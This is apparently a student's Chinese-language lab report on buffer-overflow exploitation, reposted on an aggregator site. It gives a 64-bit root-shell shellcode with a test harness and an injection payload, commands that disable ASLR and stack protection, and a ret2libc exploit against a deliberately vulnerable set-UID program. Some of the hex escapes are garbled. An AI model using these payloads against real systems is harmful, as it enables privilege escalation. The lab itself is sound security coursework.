2015306 白皎 《网络攻防》Exp1 进阶
2015306 白皎 《網(wǎng)絡(luò)攻防》Exp1 進(jìn)階
Task1 64位shellcode的編寫(xiě)及注入
- 自己編寫(xiě)一個(gè)64位shellcode。參考shellcode指導(dǎo)。
- 自己編寫(xiě)一個(gè)有漏洞的64位C程序,功能類似我們實(shí)驗(yàn)1中的樣例pwn1。使用自己編寫(xiě)的shellcode進(jìn)行注入。
shellcode 主要的目的是調(diào)用系統(tǒng)函數(shù),而在x86下 在linux下有兩種方式。
第一種是通過(guò)直接調(diào)用中斷 int 0x80進(jìn)入內(nèi)核態(tài),從而達(dá)到調(diào)用目的。
第二種是通過(guò)調(diào)用libc里syscall(64位)和sysenter(32位)
1.首先通過(guò)資源找到root shell的匯編源碼
global _start
_start:
xor rdi,rdi
xor rax,rax
mov al,0x69
syscall
xor rdx, rdx
mov rbx, 0x68732f6e69622fff
shr rbx, 0x8
push rbx
mov rdi, rsp
xor rax, rax
push rax
push rdi
mov rsi, rsp
mov al, 0x3b
syscall
2.用nasm編譯,然后用ld進(jìn)行鏈接。
3.但是這個(gè)代碼并不是能夠執(zhí)行的shellcode ,但是我們可以通過(guò)編譯成可執(zhí)行文件,而拿到我們需要的操作碼。(紅框內(nèi)的48 32 ff 48 31 c0 就是我們需要的可執(zhí)行的opcode代碼)
4.套用一個(gè)代碼測(cè)試我們的shellcode。
#include <stdio.h>
#include <string.h>
char *shellcode = "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";
int main(void)
{
fprintf(stdout,"Length: %d
",strlen(shellcode));
(*(void(*)()) shellcode)();
return 0;
}
通過(guò)運(yùn)行結(jié)果,我們可以看到進(jìn)入到root環(huán)境,這個(gè)shellcode是可以用噠。
注意事項(xiàng):
并不是所有的可執(zhí)行的shellcode都是可以被用于攻擊執(zhí)行的,很重要的一點(diǎn)opcode中不允許有/x0出現(xiàn),**因?yàn)楹瘮?shù)在調(diào)用的時(shí)候遇到/x0是作為終止符,那么會(huì)導(dǎo)致shellcode不能被完整復(fù)制。**
因此,遇到/x0時(shí),我在百度上看到可以用"/"代替0,或者用XOR代替MOV等等。
5.得到shellcode:
x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05
6.通過(guò)觀察main函數(shù)的匯編,可以發(fā)現(xiàn),其中l(wèi)ea -0x200(%rbp),%rax 和mov %rax,%rdi這是把數(shù)組的首地址傳給strcpy,也就是-0x200(%rbp)這個(gè)地址,計(jì)算0x200是十進(jìn)制 512, 整個(gè)數(shù)組的起始地址是%rbp-0x200, 而rbp是這個(gè)函數(shù)棧的基地址,而在上移8個(gè)byte是上個(gè)函數(shù)的執(zhí)行到的位置地址,也就是要覆蓋前面的 512+8=520的位置,這個(gè)位置為退出函數(shù)后rip的執(zhí)行地址的起始位置。
輸入以下命令,顯示的輸出即是首地址
./vulnerable `perl -e 'print "x90"x520'`
7.構(gòu)建環(huán)境
execstack -s pwn1 //設(shè)置堆棧可執(zhí)行
execstack -q pwn1 //查詢文件的堆棧是否可執(zhí)行
more /proc/sys/kernel/randomize_va_space //當(dāng)設(shè)置參數(shù)為0的時(shí)候,這樣每次起來(lái)的相同的程序的棧空間地址分配是一樣的
echo "0" > /proc/sys/kernel/randomize_va_space 通過(guò)設(shè)置參數(shù)為0 可以關(guān)閉random stack offset.
8.接下來(lái),我們構(gòu)造要注入的payload。
Linux下有兩種基本構(gòu)造攻擊buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
./buff `perl -e 'print "x90"x477;print "x48x31xffx48x31xc0xb0x69x0fx05x48x31xd2x48xbbxffx2fx62x69x6ex2fx73x68x48xc1xebx08x53x48x89xe7x48x31xc0x50x57x48x89xe6xb0x3bx0fx05";print "xf0xddxffxff"'`
最后的printf"xf0xddxffxffxff就是 就是我們想覆蓋的地址,我們把它改成&buffer的首地址。這樣當(dāng)函數(shù)main退出后,rip 將會(huì)指向該地址,而這個(gè)地址是buffer數(shù)組的首地址,接著rip開(kāi)始順著數(shù)組里的內(nèi)容執(zhí)行,那我們的shellcode就順利的被執(zhí)行了。
但是很明顯失敗了,還在尋找原因中······
Task 2 ret2lib及rop的實(shí)踐
- 進(jìn)一步學(xué)習(xí)并做ret2lib及rop的實(shí)踐,以繞過(guò)“堆棧執(zhí)行保護(hù)”。參考ROP。
一、實(shí)踐基礎(chǔ)
為什么出現(xiàn)return-into-libc攻擊
緩沖區(qū)溢出的常用攻擊方法是將惡意代碼 shellcode 注入到程序中,并用其地址來(lái)覆蓋程序本身函數(shù)調(diào)用的返回地址,使得返回時(shí)執(zhí)行此惡意代碼而不是原本應(yīng)該執(zhí)行的代碼。也就是說(shuō),這種攻擊在實(shí)施時(shí)通常首先要將惡意代碼注入目標(biāo)漏洞程序中。但是,程序的代碼段通常設(shè)置為不可寫(xiě),因此攻擊者需要將此攻擊代碼置于堆棧中。
為了阻止此種類型的攻擊,緩沖區(qū)溢出防御機(jī)制采用了非執(zhí)行堆棧技術(shù),這種技術(shù)使得堆棧上的惡意代碼不可執(zhí)行。而為了避開(kāi)這種防御機(jī)制,緩沖區(qū)溢出又出現(xiàn)了新的變體return-into-libc 攻擊。return-into-libc 的攻擊者并不需要棧可以執(zhí)行,甚至不需要注入新的代碼,就可以實(shí)現(xiàn)攻擊。取而代之的是我們讓漏洞程序跳轉(zhuǎn)到現(xiàn)存的代碼(比如已經(jīng)載入內(nèi)存的 libc庫(kù)中的system()函數(shù)等)來(lái)實(shí)現(xiàn)我們的攻擊。
return-into-libc原理
攻擊者能夠通過(guò)緩沖區(qū)溢出改寫(xiě)返回地址為一個(gè)庫(kù)函數(shù)的地址,并且將此庫(kù)函數(shù)執(zhí)行時(shí)的參數(shù)也重新寫(xiě)入棧中。這樣當(dāng)函數(shù)調(diào)用時(shí)獲取的是攻擊者設(shè)定好的參數(shù)值,并且結(jié)束后返回時(shí)就會(huì)返回到庫(kù)函數(shù)而不是 main()。而此庫(kù)函數(shù)實(shí)際上就幫助攻擊者執(zhí)行了其惡意行為。
二、攻擊步驟
1.輸入命令安裝一些用于編譯 32 位 C 程序的東西。
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2.輸入命令“l(fā)inux32”進(jìn)入 32 位 linux 環(huán)境。輸入“/bin/bash”使用 bash。
關(guān)閉地址空間隨機(jī)化,不能隨機(jī)堆(heap)和棧(stack)的初始地址。以及設(shè)置堆棧不可執(zhí)行。
gcc -z noexecstack -o test test.c //棧不可執(zhí)行
sudo sysctl -w kernel.randomize_va_space=0 //關(guān)閉地址隨機(jī)化
3.添加一個(gè)新用戶,可以參考教程:linux中新建一個(gè)用戶
4.即使你能欺騙一個(gè) Set-UID 程序調(diào)用一個(gè) shell,也不能在這個(gè) shell 中保持 root 權(quán)限,這個(gè)防護(hù)措施在/bin/bash 中實(shí)現(xiàn)。
linux 系統(tǒng)中,/bin/sh 實(shí)際是指向/bin/bash 或/bin/dash 的一個(gè)符號(hào)鏈接。為了重現(xiàn)這一防護(hù)措施被實(shí)現(xiàn)之前的情形,我們使用另一個(gè) shell 程序(zsh)代替/bin/bash。下面的指令描述了如何設(shè)置 zsh 程序。
5.把以下漏洞代碼保存為“retlib.c”文件,保存到 /tmp 目錄下,并進(jìn)行編譯,設(shè)置。代碼如下:
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(FILE *badfile)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
fread(buffer, sizeof(char), 40, badfile);
return 1;
}
int main(int argc, char **argv)
{
FILE *badfile;
badfile = fopen("badfile", "r");
bof(badfile);
printf("Returned Properly
");
fclose(badfile);
return 1;
}
6.編譯上述程序編譯該程序,并設(shè)置 SET-UID。
sudo su//獲取root權(quán)限
gcc -m32 -g -z noexecstack -fno-stack-protector -o retlib retlib.c//設(shè)置棧不可執(zhí)行
chmod u+s retlib //給retlib程序的所有者以suid權(quán)限,可以像root用戶一樣操作
exit
7.此外,我們還需要用到一個(gè)讀取環(huán)境變量的程序,并通過(guò) gcc -m32 -o getenvaddr getenvaddr.c進(jìn)行編譯。
include <stdio.h>
include <stdlib.h>
include <string.h>
int main(int argc, char const *argv[])
{
char *ptr;
if(argc < 3){
printf("Usage: %s <environment var> <target program name>
", argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0]) - strlen(argv[2])) * 2;
printf("%s will be at %p
", argv[1], ptr);
return 0;
}
8.獲得 BIN_SH 地址
export BIN_SH="/bin/sh"
echo $BIN_SH
./getenvaddr BIN_SH ./reblic
9.以下代碼為攻擊程序,保存為“exploit.c”文件,保存到 /tmp 目錄下。
include <stdlib.h>
include <stdio.h>
include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen(".//badfile", "w");
strcpy(buf, "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90");// nop 24 times
*(long *) &buf[32] =0x11111111; // "http://bin//sh"
*(long *) &buf[24] =0x22222222; // system()
*(long *) &buf[36] =0x33333333; // exit()
fwrite(buf, sizeof(buf), 1, badfile);
fclose(badfile);
}
10.獲取 system 和 exit 地址
gcc -m32 -g -o exploit exploit.c//編譯
gdb -q ./exploit//調(diào)試
b 10//設(shè)置斷點(diǎn)
run//運(yùn)行到斷點(diǎn)處
p system//獲取system地址
p exit//獲取exit地址
11.修改 exploit.c 文件,填上剛才找到的內(nèi)存地址。刪除剛才調(diào)試編譯的 exploit 程序和 badfile 文件,重新編譯修改后的 exploit.c。
12.首先運(yùn)行攻擊程序,生成badfile文件,載運(yùn)行漏洞程序,可以看到攻擊成功,獲得root權(quán)限。
Task 3
可研究實(shí)踐任何繞過(guò)前面預(yù)設(shè)條件的攻擊方法;可研究Windows平臺(tái)的類似技術(shù)實(shí)踐。
遇到的問(wèn)題
1.在編譯retlib程序時(shí),出現(xiàn)如下錯(cuò)誤:bits/libs-header-start.h沒(méi)有那個(gè)文件或目錄
解決:下載sudo apt-get install lib32readline-gplv2-dev軟件包,即可解決
總結(jié)
以上是生活随笔為你收集整理的2015306 白皎 《网络攻防》Exp1 进阶的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 使用Jedis出现Connection
- 下一篇: mac appstore应用下载失败,不